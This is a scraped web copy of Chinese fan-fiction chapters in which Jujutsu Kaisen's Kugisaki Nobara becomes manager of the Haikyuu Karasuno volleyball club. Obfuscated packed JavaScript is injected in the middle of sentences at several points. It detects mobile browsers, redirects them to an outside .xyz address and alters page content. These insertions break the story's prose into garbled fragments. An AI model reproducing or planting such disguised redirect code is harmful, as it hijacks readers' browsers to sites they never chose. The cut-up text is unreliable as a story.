木板制的东西本就脆弱些，更何况野蔷薇实在蛮力过剩，那可怜的门怎么经得起这种折腾，霎时间就被拦腰斩断了。 教室内二三十双眼睛齐刷刷盯着野蔷薇，没人敢再说一句话。 “喂喂喂不是吧？……乡下果然是乡下啊。”野蔷薇嘟嘟囔囔着将那扇门……不，将那块大木板抱起来靠在一边，然后大跨步站上了讲台。 “呦！我是钉崎野蔷薇，是带刺的那种、很美艳很诱惑的蔷薇，从……额，就当我是从东京来的吧，嘛不过，现在又变成纯朴的乡下人了。” 她垮着脸超级大声地叹着气：“我喜欢华丽的东西，爱好嘛，就是逛街、吃甜品买衣服……哦对了老师，这附近有商场吗，里面有卖奶茶，能做美甲的那种。” 日奈森老师的笑容僵硬在脸上：“这个……” 比起商场，现在好像是教室的门比较重要呢。 没人回答她的问题，众人显然都有点儿呆住了。 野蔷薇却毫不在意，仍是一脸坦荡地拿起粉笔在黑板上砸出五个大字：钉崎野蔷薇！！！ 后面附着三个大大的感叹号，也不知道作用是什么…… “要说我讨厌的东西？腌菜和乡巴佬！最讨厌腌菜！完全无法接受！顺便一提，发明腌菜的人我也讨厌。” “人生信条是——我的价值由我自己定义！还有，别指望我装什么优等生、乖乖女，也别指望我讨好你们，不过有人被揍了可以找我，鄙人还算比较擅长打架。” 说罢，她摆了个很酷的pose。 鄙、鄙人？学生们张大嘴巴，新同学口癖好奇怪，还有，左脸那个奇怪的眼罩是什么，看起来不像好人啊…… 完蛋了啊……日向翔阳抖起来，没想到钉崎野蔷薇不仅暴力，脑子好像也不太正常，她一直这样说话做事吗？没被人打过吗？这样的人，能做他们排球部的经理吗？？？ “那个……钉崎同学……这门……” 日奈森老师努力保持着一个教师应有的风度和专业，微笑引导着说：“这扇门好像被钉崎同学你弄坏了哦。” “是吗。”野蔷薇抬眸望了两眼，试探性地卖萌：“你们觉得，是学校作为管理者没有及时修缮的错，还是人家作为转学生、初初来乍到、‘不小心’、多用了一点点力气的错？” “完全就是你的错啊。”众人腹诽。 …… 教导主任井上心情很好。 因为今天是乌野高中一年级各科成绩出结果的日子。钉崎野蔷薇结束了转学摸底考试之后，他很不凑巧地，立刻就被校长安排去了县里参加学术交流会，所以直到现在他也没有机会过问一下结果。 背着手走在走廊里，有个西瓜头的学生埋首向他问好。 “佐藤同学，这次的现代文不会又没有及格吧？”他难得地露出笑容，轻声细语地问。 “是、是……”西瓜头佐藤推了推比鞋底还厚的眼镜片，战战兢兢回答的同时，总觉得今天的教导主任看起来有点儿宠溺。 “要加油哦。”井上三郎“哈哈”两声，挥挥手让他离开了，场面看起来十分温馨。 日光灿烂无比，光流自推窗处缕缕涌入，在木地板上铺展成一片亮堂温暖的湖泊。不知何处扬起的粉尘在光柱中自在地游动，再往前走去，能瞧见地上散落着些许碎木渣，抬起头时，目光与几十双眼睛直直对上。 粉尘？碎木渣？ “……”井上三郎沉默片刻，脸色阴沉下来，活像一块烧焦的黑炭。 “日奈森老师啊，你们班的门呢？” “……” * “喂！”影山飞雄去完厕所，正巧在走廊里碰见日向翔阳。两人默契地对视一眼，异口同声问：“你怎么样？” 日向翔阳严肃地咽下一口唾沫：“还差英语成绩。你呢？” 影山飞雄攥紧拳头：“还差数学。” “是吗。”翔阳点点头，火焰一般的橘色短发因为刚刚睡醒而炸毛成橘色的刺猬。他垂眸顿了顿，忽然急匆匆道：“对了！说到这个，不得了了影山！那个暴力女居然转到了我们班，门被她弄坏就算了还把教导主任给招来了！” 影山飞雄还没来得及说什么，田中龙之介倒是从楼梯上窜了下来接过了话茬：“哦！我听说了啊日向。怎么说呢，这女生真是不简单啊。” 他捂着肚子憋着笑：“话说，教导主任上一次气成这样还是被你和影山的排球砸掉假发的时候呢……啊顺便一提，上上次是被阿谷推倒把花瓶碰碎的时候哈哈哈。” “田中学长田中学长！”翔阳蹦蹦跳跳像一只橙毛花栗鼠：“考试呢？” “当然——全部及格啦！我是谁啊，我可是田中龙之介，称霸排球界的主攻手，带领乌野走向世界之巅的未来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钉崎野蔷薇很慷慨，随手将各科试卷揉成一团朝日向翔阳丢过去：“就勉强让你瞻仰一下吧，日向同学。” “你……”翔阳来回翻看，渐渐惊讶地瞪大了双眼，他边叹气边摇头：“完全想不到呢钉崎。34、41、39、……为什么刚过线的分数能被你说的像满分一样有气势啊？” “你懂什么！”野蔷薇冷哼一声：“我可是实战型，这个文化课分数已经很高了。” 实战？实战什么……算了，不重要了，只要他能去东京就好，嘻嘻。 “安静一下！”英语老师小野走进教室：“同学们，不好意思啊，选择题的第五题我判错答案了，选择C的同学要自己扣2分哦。” 第五题……C……？扣两分……？ 有种不好的预感，翔阳急忙翻开自己的卷子，那一瞬间，好像有什么东西从他的天灵盖飞了出去。 哦，是日向翔阳的灵魂。 9.第9章 井上三郎对着桌面上几张卷子沉思。这姑娘，钉崎野蔷薇，长着一张精明脸，原来实际上是个笨蛋啊，他实在是有点儿失望。不过，也许，可能，她的优势在别处呢？他拍拍胸脯安慰自己。 午休时间到了，教师办公室下方的空地准时响起了规律的垫球音，井上探头一瞧，果然是一年一组那个叫日向翔阳的傻小子。不同的是，今天多了个人。 “不是吧，为什么我要做这种事啊。”野蔷薇吐着舌头，一边给翔阳抛球一边疯狂吐槽：”你看看今天的太阳，喂喂喂，晒黑了谁负责？你要活生生逼死一个淑女吗……“ 是啊，今天超级热的。火辣的炙阳高高悬在头顶，毫不避讳地落在两人身上，热浪像无形的火舌舔舐肌肤，闷得人喘不过气来。 “嘿嘿。”日向翔阳不好意思地笑了笑，他弓着腰，微微屈膝，双臂自然前伸，绷紧手腕将球稳稳当当地垫上高空。铃木这小子抛了两个球就跑路了，实在找不到人帮忙了，但是他真的很想练球啊。 “谢谢你啊，钉崎！”少年笑得开朗极了，眼睛弯成两道月牙，活泼的样子像刚开封的橘子汽水，咕滋咕滋就冒起气泡来。 “……”额，啊啊啊啊烦死了，面对这张脸生不起气来啊！ “说好了，只抛二十个的哦，一个都不许多！”她有些恼火地说。 “诶？”日向翔阳愣愣地接住球：“可是这已经是第二十三了诶。” “啊？？？……”野蔷薇实在是拿这小子没招了：“那……给你抛三十吧……靠……” “呜呼好耶！哈哈哈哈……钉崎钉崎我跟你说哦，最近我在练习接球呢，下次比赛我要吓阿谷学长和影山一跳！”他的笑容实在太有感染力，幅度过大时鼻子甚至会微微皱起来，像小猫咪打喷嚏时的可爱模样。 野蔷薇紧蹙的眉头也难得舒展开来。 两人有一搭没一搭地闲聊起来。 “呐，我说日向，你为什么总想要跟影山飞雄比啊，他很厉害吗？” “非常、超级、无敌厉害！”翔阳立刻这样回应，他抱住球，语气也不由的严肃起来：“在打排球上，他是我的第一个敌人，也是第一个……朋友……” 提起影山，日向翔阳好像有说不完的话来：“你知道吗钉崎！他可是被称为‘球场上的王者’的天才般的存在哦，啊……不过比起我来还是稍微差一点就是了。”他自恋地补充。 “球场上的王者？额，这是什么称呼啊，超级土。”野蔷薇毫不留情地评价。 翔阳才不认同：“诶——明明超帅的啊！” 他推了推鼻梁上并不存在的眼镜，开始科普起两人的“爱恨情仇”：“初中的时候，我跟影山是不同校的，这家伙在高手如云的北川一中，把我打得落花流水！”他张牙舞爪地向野蔷薇演示了一番，突然咧嘴一笑：“嘿嘿，不过现在嘛，他是我们乌野的王牌二传！我‘怪物速攻’的搭档！” “托球快得吓人，脾气也臭得吓人，好像谁都欠他钱似的！” 意识到自己的话好像有点儿多了，日向翔阳有点害羞：“我可不是在夸他哦。” “不过，别说我了，钉崎，你为什么会想要来男子排球部做经理呢？”他好奇地问。 “哦，我要去东京啊，我讨厌乡下。”野蔷薇随口敷衍。 “嗯？”翔阳歪着脑袋望着她，显然并没有太懂。 “我听说了，你们排球部要去东京远征对吧？如果春高晋级的话，还会去东京体育馆打比赛是不是？” 没有了咒术高专，如果她还想要不花钱免费去东京旅游的话，也只能到处蹭一蹭了。钉崎野蔷薇想的很开，如果这里注定与她咒术师的生活是两个不同的世界，那么她就好好做一回高中生，好好享受正常女高中生美好的校园生活，就当是给那个“英年早逝”的自己一个重活一次的机会。 不过，如果有可能的话，她还是想要找到虎杖，找到伏黑，找到五条老师…… 翔阳点点头：“喔，是这样没错啦。可是，打完比赛就会回到乌野了呀，也不会一直留在东京的……” “哼哼。”野蔷薇挑眉一笑：“这你就不懂了吧，为了我们共同的未来，我可是专门做了功课的。” “如果你想要在排球这条道路上一直发展下去，走向全国甚至走向世界，那么加入东京有名的职业排球俱乐部就是很好的机会，而想要加入这些职业俱乐部的话，首先要做的就是在春高、Inter High这样的全国大型排球赛事中崭露头角，最好能夺得冠军吸引那些球探的注意。” “如果能成功收获到关注，那么很有可能就会被选拔进青训梯队从而进入国家队，跟全国所有实力强劲的高中生一起训练、切磋。” “走到这一步后，想留在东京还困难吗？日向啊日向，你就能彻底摆脱乡下土包子的身份啦！”野蔷薇语重心长：“而我，钉崎野蔷薇，也会因为丰富的排球部辅助经验和“冠军队伍培养者”这一身份而获得进入东京职业俱乐部做经理的门票！” 春高夺冠、国家队、进入俱乐部……这些词听的翔阳轻飘飘晕乎乎的。 “喔、喔！听起来很厉害的样子啊！”翔阳忍不住激动地跳起来：“哈哈哈哈钉崎！我原本以为你想来做经理只是心血来潮呢，因为你看起来就很懒的样子啊哈哈哈哈，应该不会愿意加入排球部这种比较辛苦的社团吧！哈哈哈哈哈……” “哈哈哈。”野蔷薇假笑，而后脸色突变：“喂，你小子，胆子很大啊。” 居然说她懒？ 野蔷薇捡起球，微笑着问：“已经抛了二十九个了吧。” “这是第三十个，接、好、了。” 说罢，她抡起胳膊将排球用力抛掷了出去，那球蹭过翔阳的脸颊飞速朝他身后奔去，带着一点儿要命的火星子，直直砸向了二楼的窗户。 “哗啦啦！” 窗户噼啦啪啦地碎了一地，与此同时，办公室内传来几个老师惊呼的声音。 “天哪主任，您没事吧！” “振作一点啊主任！” “快来人！打电话叫救护车啊！主任要不行了！” * “清水，话说，今天是新的社团经理来报道的日子吧。”缘下力问。 “是的。”清水垂眸看了看手腕上的表：“按理来说，这个点应该已经到了才对，是不是有什么事情耽搁了呢？唔，奇怪的是，日向也还没有来。” 菅原孝支查看一圈，稀奇道：“真的诶，往常这个时候，他应该已经热完身了吧哈哈。” “谁知道是不是因为考试没及格哭着回家找妈妈了呢。”月岛萤还是一贯的毒舌。 山口忠沉默片刻：“那个，你们不知道吗……” 几人都一脸疑惑地望着他。 “听说午休的时候，教导主任在办公室里被球砸到，在医务室躺了两个小时呢。” “不会吧？真的假的！”泽村大地瞪大眼睛：“是棒球吗，还是足球？” “哦，我是隐约听说了来着。”田中龙之介一边换上运动服一边问：“可是这跟日向和钉崎有什么关系啊？啊小谷，你来了……喂，你的脸色好差啊。” 谷地仁花的脸色确实很差。 她唇色惨白，生无可恋地接过泽村大地的话茬：“是排球。” “什么！！！？？？” “所以，谷地你的意思是，这件事情是他们两个干的吗？”大地沉下脸：“据说钉崎早上刚转学来的时候，教室的门也被她弄坏了，对吗？” 得到肯定答复后，他的嘴角扬起微妙的弧度：“一天之内能轻轻松松闯下两个大祸，我忽然觉得排球部好像不是很需要经理了，这位钉崎同学，该怎么说呢，还没有入部就开始惹事，我很担心以后部里的风气。” “不错啊，翔阳，小野，很有我当年的风范嘛！”西谷夕双手环胸：“没事的，大地学长，以后他们两个都交给我来管教好了。” “这是排球部不是菜市场，这是高中不是幼儿园。”东峰旭难得吐槽。 田中龙之介：“噗哈哈哈哈，喂喂喂交给阿谷的话情况会更糟糕吧哈哈哈哈哈哈哈哈，还是交给我算了！”他拍拍胸脯，一副贴心学长的样子。 “那也没差。”清水洁子淡定吐出一句。 “别这么说嘛洁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124049|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子学姐……”田中哭了。 “啊啦啦，问题儿童又+1。”月岛萤两手一摊，镜片下的眸子里没有苦恼，只有幸灾乐祸和同情，甚至还有一丝期待。 “算了。反正部里已经有这么多问题儿童，再多一个又能怎么样呢。”泽村大地不愧是情绪稳定的顶梁柱，说完这句话便道：“都准备准备吧，他们应该一会儿就能过来了。” “准备？准备什么？哦！是那个吧。” “没错，就是那个。” * 井上三郎头脑发晕，迷迷糊糊在医务室内醒来。 “我……我没死？”他歪头问。 “主任，瞧您说的，您好好的，就是有点轻微的脑震荡，躺一躺，休息片刻就好了。”戴口罩的校医老师哭笑不得。 “哦。”井上沉默下来，又将头歪向另一边。 两坨橘发正乖巧地望着他笑，一只像小狗，一只像赤狐。 “……”他不是很想看见他们。 “你来说。”翔阳戳了戳野蔷薇。 “咳咳抱歉啊教导……额，老师，您的脑袋还好吗？啊~不过乌野的基建真的需要加强了呢，人家才刚转学来，门又坏了窗又坏了的这怎么行。”野蔷薇十分熟练地推卸责任。 “脸不红心不跳，怎么做到的啊喂。”翔阳朝她投去膜拜的目光。 “你、你……”井上三郎说不出话来，只觉得头疼。 “都怪日向。”野蔷薇指了指身旁的橘发小狗：“要是他没有叫我帮他抛球的话，也不会发生这样的事情。” 橘发小狗大惊失色。 “……”井上三郎痛苦地闭上眼睛，疲倦地挥挥手让两人离开。 “好的，我们先走了，您好好休息。”野蔷薇善解人意地将一顶毛茸茸的假发放在井上三郎的手上：“但是，我想这个您还需要。” 他这才觉得脑门凉凉的。 “钉崎同学啊，麻烦把你的班主任小林老师和你的监护人谷地女士叫来好吗？我有话想要对她们说。” “……” * 两人推推搡搡地朝排球馆走去。 “钉崎！啊啊啊你你你你完蛋了你！”日向翔阳懊恼地揪着自己橘色的呆毛：“我还没有被叫过家长呢呜呜呜！钉崎你说，教导主任不会也把我妈妈叫来吧？” “怪我，怪我。”野蔷薇哄了哄委屈的小狗，很仗义地说：“没事的，到时候就把错误都推到我一个人身上。” 本来就是啊你在装什么英雄呢……翔阳彻底无语了。 越临近排球馆，杀气越明显。日向翔阳咽了咽口水，很识趣地走在野蔷薇身后。 “喂日向，你说我第一次入部，要不要给队长、教练和指导老师留一点好印象？”野蔷薇摸了摸自己左脸的眼罩：“我这样形象还过关吗？哎，虽然有点儿影响我的美貌，但是这也没有办法的事情。” 日向翔阳早就想问她眼罩的事了，只是一直没找到机会，可就算此刻钉崎野蔷薇自己提起此事，翔阳也没有心情去刨根问底了。 “没事，你早就咩有好印象喏。到、到了，你你你自己开门。”到排球馆门前了，翔阳开始心不在焉地胡言乱语。 “哦。”野蔷薇推开门。 一束强烈的暖光刹那间照射在她的脸上，紧接着，泽村大地双手抱臂出现在门前。翔阳悄悄挪动着螃蟹步钻了进去。 “钉崎同学，上次见面太匆忙了，还没有好好做过自我介绍吧。” “我叫泽村大地，三年级，乌野高中男子排球部的队长，在队内的位置是主攻手。” 喔，队长很和善嘛。野蔷薇刚要说话，泽村大地却语气严厉地抬手打断她。 “这把扫帚你接着，既然已经成为乌野的一员，那么作为迟到和闯祸的惩罚，今天训练结束后就请你打扫一下场馆吧！”他将炸毛的扫帚扔进野蔷薇怀里。 “哈？”少女瞪大双眼。 泽村大地换上笑容： “那么现在！” “一、二、三！” “欢迎加入乌野高中排球部！！！！！”他的身后，众人声音洪亮。 10.第10章 “亲爱的小野老师～”日向翔阳像一只花蝴蝶，踮起脚尖在办公室翩翩起舞，轻巧地落在英语老师小野的面前。 小野老师美目一瞪：“日向，明天就要补考了，这个时候不好好复习，跑来办公室找我做什么，该不会是指望我能给你放水吧？” “恰恰相反。”翔阳满脸真诚：“我是想要请求您，能不能提前安排我参加补考，我觉得，我的英文知识已经掌握的差不多了。” 他的眼底泛着浓重的乌青，一看就是熬了大夜的。小野狐疑地盯着他，问：“日向啊，你什么时候这么热爱英语了？没有发烧吧？” 翔阳将头摇成了拨浪鼓。 热爱英语？怎么可能，他可太讨厌英语啦！他可是日本人，日本人为什么要学英文？可是钉崎说，这是为以后走上国际舞台，跟外国选手交流做准备，他于是大为振奋，跟英语鏖战了三天三夜！ 明天就是东京远征了，大部队今晚半夜就会出发，然而他的补课和补考却偏偏安排明天上午。一想到大家都在东京，在排球馆内挥汗如雨，他却要在乌野的教室里写卷子，日向翔阳就浑身难受。 他已经做好了万全的准备，他现在、立刻、马上就要考试！！！ 昨天，社团活动时。 “我已经看出你的决心了，日向，这样吧，今晚我陪你复习，我来教你。”钉崎野蔷薇一副牺牲自我的大义凛然模样。 “你的英文多少分？”影山飞雄问。 “34。”野蔷薇骄傲地摸了摸鼻子。 影山邪笑：“我35。”他露出八颗白牙，蓝莓果酱色的眼睛里透露出“我比你考得高”的小得意。 “什么，居然比我还多了一分！……我认可你了，影山，没想到你的英语这么好。”野蔷薇大惊失色，神情严肃。 “你也是很值得尊敬的对手啊。”影山摇头感慨。 “喂你们两个英文白痴到底在比什么呢……”两人的对话在连续刷新田中龙之介的三观。 都不靠谱……人生完蛋了……日向翔阳觉得脑瓜子痛痛的。 “啊啊啊啊只能拜托你了谷地同学！”他哭成了蛋花眼，鼻涕一把眼泪一把地抱住谷地仁花的小腿：“我不能错过东京远征啊啊啊！” “要不还是跟小野老师和教导主任求求情算了……”缘下力实在看不下去了：“其实，日向好像也就只差了一分而已吧。” “跟教导主任求情？”泽村大地脸色一沉，锥子一般的尖锐视线在钉崎野蔷薇的脸上轻轻扫过：“托某人的福，教导主任现在对男子排球部的印象很差。你们觉得，成功的概率能有百分之多少？” 野蔷薇目光移到别处，吹着口哨去捡球了。 “但是，东京远征如果少了日向这个笨蛋，我们乌野能发挥全部的实力吗！”泽村大地大手一挥，痛下决心开始安排：“谷地、月岛，还有缘下和阿菅，你们几个成绩好，拜托了！帮帮这个英文白痴吧！” “影山和钉崎，你们两个也去。” 队长还是很看重我们的，对吧？影山飞雄和钉崎野蔷薇感动地对视一眼。 大地凝重地说：“你们两位做一下对照组，替日向排个雷，毕竟，傻瓜更懂傻瓜的脑回路吧。” “？” “……” 现在。 小野眨巴着眼睛盯着日向翔阳看了足足五秒钟，然后道：“嗯，你肯上进是好事，我倒是没有什么问题啦，不过还得看教导主任那边同不同意呢。” “好！”翔阳疯狂点头：“小野老师，主任去哪里了，我去找他。” “主任啊……”小野为难地笑了笑：“说是被排球砸伤，头还是有点晕晕的，今天请病假去仙台市立医院了。” “我去看看他。”翔阳优雅行礼告退。 “额……哦……好……” * 最近几个月被排球砸到两三次，总觉得脑门上压着什么重担，井上三郎觉得有点邪门儿。虽然是个教师，但是他并不是无神论者，所以比起巧合、意外这种解释，他更疑心是某种超自然力量在作祟。越想越害怕，越想头越痛，干脆直接来住院了。 “检查结果显示一切正常，如果还是觉得不舒服，我建议住院观察一段时间，做个更全面的全身体检。”医生说。 “好的，谢谢医生。”井上顺从地躺下。 这个时间应该是午休了吧，他惬意地靠在白花花的病床上，偏头看向外面澄澈的蓝天白云。已经好久没有这样休息过了，还真有些不习惯呢哈哈，他舒服地眯着眼，渐渐进入梦乡。 “老师……老师……老师！” 不知睡了多久，井上三郎被人叫醒。 四只眼睛……啊不，三只眼睛正牢牢盯着他。 “我都听医生说了，教导主任你明明就没什么事嘛，干嘛住院。”钉崎野蔷薇语气不悦：“学校的事情都不管了吗，这也太不负责任了。” “啊？”井上三郎懵懵的，这孩子到底是怎么回事啊？有没有教过她要尊师啊呜呜呜！！！ “诶呀钉崎，别这样说。”日向翔阳讨好地笑了笑，顺手将一袋水果放在病床边的桌子上。“老师，您辛苦了，吃点水果好好休息呀！” 这还差不多。井上三郎冷哼一声点点头。 “不用特意来看我，你们回去吧，下午还要上课呢。” 翔阳扭捏地搓搓手：“那个……”他不知道怎么开口，求救式朝钉崎野蔷薇使了使眼色。 野蔷薇会意：“老师，日向的眼睛不太舒服。” “不是啦！”橘子小狗无语到跳脚。 他慌乱地开口：“就是，那个，嘿嘿……英文不及格的补考，可不可以放在今天下午呀。” “当然不行。”井上三郎毫不犹豫地拒绝：“这是统一安排好的，怎么可以随便更改时间。” “诶？拜托了教导……老师！我真的很想去东京远征！我已经提前学习了，这是我的笔记本和学习计划表。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149517|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他一边说着一边从斜挎包里拿出本子翻给井上三郎看。 “我不是要逃避补习和补考，只是想提前那么一点点点。”他手舞足蹈地比划着。 “而且研磨说如果去不了的话他就要删掉我的游戏存档……啊啊啊啊啊不对，我的意思是，我要打败伊达工业，打败‘大王’打败白鸟泽！如果去不了，影山和月岛那两个家伙铁定会嘲笑我一辈子，乌野的‘小巨人’绝对不能在这里止步啊呜呜呜……” 他的声音里真的有哭腔，虽然胡言乱语，但言辞确实恳切真诚。一个人的眼神是骗不了人的，原来他对排球执着到这个份上吗？野蔷薇对翔阳有点刮目相看了。 “……听不懂……总之，不可以。学生就该以学习为主，那什么东京远征，少了你也无所谓吧？” “真的，不行吗……”他用湿漉漉的眼睛可怜巴巴的望着井上三郎。 “嗯，不行。” “QAQ……”日向翔阳想到了会被拒绝，但是没想到拒绝得这么干脆这么果断，连一丝转圜的余地都没有。 他在心里叹了口气，正准备放弃。野蔷薇却不乐意了。 “有什么不能改的？”她抚了抚左眼的绷带，慢条斯理地开口：“日向，你先出去，我有几句话要跟教导主任说。” “诶？哦……” 病房内传来野蔷薇的喃喃低语，翔阳将耳朵贴在门缝边，除了偶尔听见几声教导主任“纳尼”的惊呼和“原来如此”的感叹外，什么信息也没得到，他急得抓耳挠腮。 半个小时后，钉崎野蔷薇推开门。 “啊，日向同学，快进来快进来。”井上三郎笑眯眯的，脸上的褶子皱到了一起。 “是！”翔阳走进去之后，井上三郎立刻拨通了小野老师的电话。 “莫西莫西，小野老师，我是井上。啊，多谢关心，我的身体没有什么大毛病，明天就可以去学校了。” “是这样的，关于日向翔阳同学的英文补考，麻烦就安排在今天下午吧，对对对，我已经跟他聊过了哈哈哈，孩子热爱学习是好事情呀……” “哦，如果还是不及格？”井上三郎侧目与野蔷薇对望一眼，想了想道：“如果还是不及格……那就开学后再做安排吧！” “嗯嗯，就这样说定了，再见。” “主任，钉崎，这意思是——”日向翔阳两眼放精光：“我可以去东京远征了吗？” “是这样哦。”井上打了个哈欠，显然是又困了，他随意摆摆手：“快回去准备考试吧。” 嘻嘻，野蔷薇将头一歪，伸手比了个“V”。利落的栗色短发清扬扬地垂洒下来，即使只剩下一只眼睛，也依旧能弯成狡黠的月亮，琥珀色的瞳孔闪烁着亮晶晶的爽朗。 “既然去了东京那样的地方，可不能空手而归。” “日向，我可是费了很多口舌，要是不能晋级春高的话，你们就死定了哦。” 她扬起拳头，笑得像电影里的大反派。 11.第11章 “人都到齐了吗！”泽村大地叉着腰问。 菅原孝支清点了人数，高声道：“除了日向，都到齐了。” “诶？”西谷夕侧过脑袋悄悄问野蔷薇：“小野，我明明听你说，补考的事情都解决了，怎么翔阳——” 野蔷薇猛打哈欠：“我怎么知道，他是不是拉屎去了啊……” “……小野，你还是女孩子吗？”田中龙之介脸一黑，怎么满口屎尿屁的。 本来没睡够就烦，钉崎野蔷薇自然没有好脸色给任何人。她不耐地掏出手机拨打了日向翔阳的电话，手机“嘟嘟”响了两声，紧接着就是欢快热血的某排球动漫的主题曲。 很快就被接通，电话那头，翔阳气喘吁吁：“啊啊啊我马上就到！你们千万要等我啊钉崎！” “你干嘛去了？”野蔷薇蹙着眉问：“真去拉屎了？” “……什么拉屎啊，钉崎你好粗俗。”翔阳先是有些嫌弃，随即又压低声音道：“队长没在你旁边吧？” “倒是不在——”野蔷薇顿了顿。 “那就好那就好，我跟你说哦，我去‘刺探敌情’了！”日向翔阳急急地说：“晚上去开放式体育馆练习碰见了青城的‘大王’，他居然在跟一群成年人打比赛，而且丝毫不输给他们……嘶——” “‘大王’不愧是‘大王’！！！简直是太厉害了！果然，我还是很想要打败他！”他一边向学校赶去一边激动地抖了抖身子，说着说着他便迈开小短腿跳了起来。 “所以你是因为看他看得入迷了才迟到的？”泽村大地皮笑肉不笑。 “……”日向翔阳安静了一瞬，乖巧地说：“我马上就到了，队长大人。” 虽然队长没站在她旁边，但是不好意思啊日向，她开了扩音呢。罪魁祸首钉崎野蔷薇耸了耸肩，若无其事地挂断了电话。 不过话说回来，“大王”是谁啊？青城又是？ 像是看出野蔷薇的疑惑，清水洁子轻轻解释：“青叶城西简称青城，是县内四强之一，也是我们乌野最有力的对手之一。上次Inter High半决赛，我们就是败给了他们。日向口中的‘大王’是青城的队长及川彻，也是队内的二传，在乌野相当于影山的位置。等这次春高晋级赛正式开始，野蔷薇你就能看见他了。” “哦……是这样子呀~”野蔷薇似懂非懂，慢慢扭着腰贴近清水洁子，大眼睛扑闪扑闪地撒娇：“洁子学姐，可是为什么要叫他‘大王’呢？人家不是很明白~你能再多说一点吗~” “噗——”月岛萤没憋住笑：“谁知道这是哪个笨蛋取的绰号呢？仔细想想，还是咱们‘球场上的王者’这名字好听，不过，也顶多只能算个‘小王’吧哈哈哈哈哈哈哈哈哈。” “月岛你不说话没人把你当哑巴！”影山和野蔷薇异口同声。 “oi~~~~大家~~~” 不远处，日向翔阳背着书包姗姗来迟。 乌养系心在他的脑门儿上哐当揍了一拳，然后高声宣布：“人到齐了！出发！” “是！”众人举起手臂。 * 颠簸数个小时，东京终于到了。 “不是吧……”钉崎野蔷薇丧着脸在周围看了一圈：“仁花，你没告诉我东京远征是在这么偏僻的郊区啊……” “诶，有什么区别嘛？”仁花挠挠头。她眨了眨眼，像是想到了什么，忽然惊讶地问：“难不成——野蔷薇你还没有放弃寻找家人嘛？” 她觉得愧疚难当，有点想哭：“对不起，我竟然连这点都没有发现，还以为你在乌野过得很开心呢。” 最见不得女孩子哭了，野蔷薇连连摆手：“啊不不不不，我只是想去银座购物罢了。” 这是实话，横竖这已经不是同原来的一样世界了，她的咒力也始终没有恢复，不过…… 不过，她居然在仙台重新看见了诅咒。 中午一走进病房，她便一眼瞧见一只畸形的低级咒灵正蜷缩在教导主任的脑袋瓜子上，口中不断地念叨着：“我……我不想……不想学习……不想、考试……压力好大……我想……出去……玩！出去玩儿！”。 它黑黢黢的身躯插满了笔、圆规、笔记本等学习用具，委屈的眼眶里默默浸满了泪水。 虽是诅咒，但气味很淡，伤害性极弱，结合这些话语，想来只是那些学习压力太大，得不到解脱的学生生出的一点怨气罢了。 可诅咒终归是诅咒，钉崎野蔷薇下意识地想要将它拔除，然而该死的是，腰间的锤子和钉子就像外头五金工具店里最普通的那副一样，半分咒力也催动不出来。 身边，日向翔阳恳求未果，野蔷薇倒是想到了好主意。 “你先出去，日向，我有几句话想要跟教导主任说。” 病房中只剩下井上三郎与钉崎野蔷薇两个人。井上扣扣鼻子：“钉崎同学，你要说什么？” 深吸一口气，野蔷薇凑近井上三郎，将双手轻轻搭在他的肩膀上，用泛着幽光的右眼一动不动地凝视着他，语气犀利且严肃。 “主任啊，你知道我为什么缠着绷带吗？” 井上疑惑地歪了歪脑袋。 “哎。本来打算隐瞒到死的，但是现在看来，还是不得不道出我的身份了。”野蔷薇长叹一声：“最近，主任你是不是时常觉得头晕晕的重重的，好像被什么东西压着喘不过气来似的？” “而且我猜测，刚刚医院一定也什么毛病都没有查出来吧。” “你怎么知道！”井上三郎惊呼一声，可不就是吗。 “这就对了。”野蔷薇故弄玄虚地指了指自己缠着绷带的左眼：“我这左眼有神力，可以透过绷带看见别人看不到的东西。奈何力量太过强大，所以我不得不缠上绷带。” “比如现在，我就看见主任你的头顶上正躺着一只——” “什么东西？”井上紧张地咽了咽口水，明显被唬住了：“那我该怎么办？” “这个简单。”野蔷薇歪嘴一笑：“我转学来乌野，进入男子排球部做社团经理，就是为了帮助你的。” “嗯嗯，你接着说。” “简单点来说，您是被学生的怨气缠住了，只要主任你大力助力社团发展，让乌野文体两开花，学生们感谢你敬重你，那自然也就没有那么多怨恨了。” “原、原来如此！”井上三郎一锤手，懊悔不已：“那这么说，我应该让日向同学去东京喽？” 野蔷薇不作引导，只淡淡道：“那就要看主任你想不想恢复健康，想不想让乌野名扬全国了。” “因为，我有预感，咱们乌野排球部这次，好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 